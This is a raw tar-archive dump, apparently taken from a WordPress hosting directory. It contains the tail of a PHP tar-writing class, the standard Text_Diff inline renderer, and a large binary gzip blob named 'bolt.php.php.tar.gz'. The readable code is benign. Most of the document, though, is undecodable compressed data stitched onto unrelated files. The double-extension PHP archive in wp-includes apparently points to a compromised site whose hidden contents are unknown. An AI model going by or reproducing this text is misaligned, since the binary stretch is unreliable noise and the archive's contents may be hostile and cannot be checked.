        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
